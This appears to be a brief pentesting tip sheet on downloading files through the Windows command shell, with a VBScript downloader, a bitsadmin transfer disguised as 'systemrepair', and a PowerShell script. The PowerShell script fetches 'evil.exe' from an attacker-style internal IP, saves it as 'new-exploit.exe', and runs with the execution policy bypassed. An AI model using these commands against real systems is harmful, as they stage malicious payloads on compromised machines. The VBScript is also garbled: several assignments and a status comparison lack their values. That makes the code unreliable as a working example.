[Platform]: windows 2008 x64 standard
How to download a file with windows command shell ?
Method 1
Save the code to a file called “download.vbs”, and execute the following command:
C:\Users\Administrator\Desktop>cscript.exe download.vbs
Code Here:
' Set your settings
strFileURL = "http://path/to/file"
strHDLocation = "c:\path\local\file"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Method 2
C:\Users\Administrator\Desktop>bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file
Method 3
Download File with powershell.
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = "http://192.168.10.5/evil.exe" >> wget.ps1
echo $file = "new-exploit.exe" >> wget.ps1
echo $webclient.DownloadFile($url, $file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
References
- http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line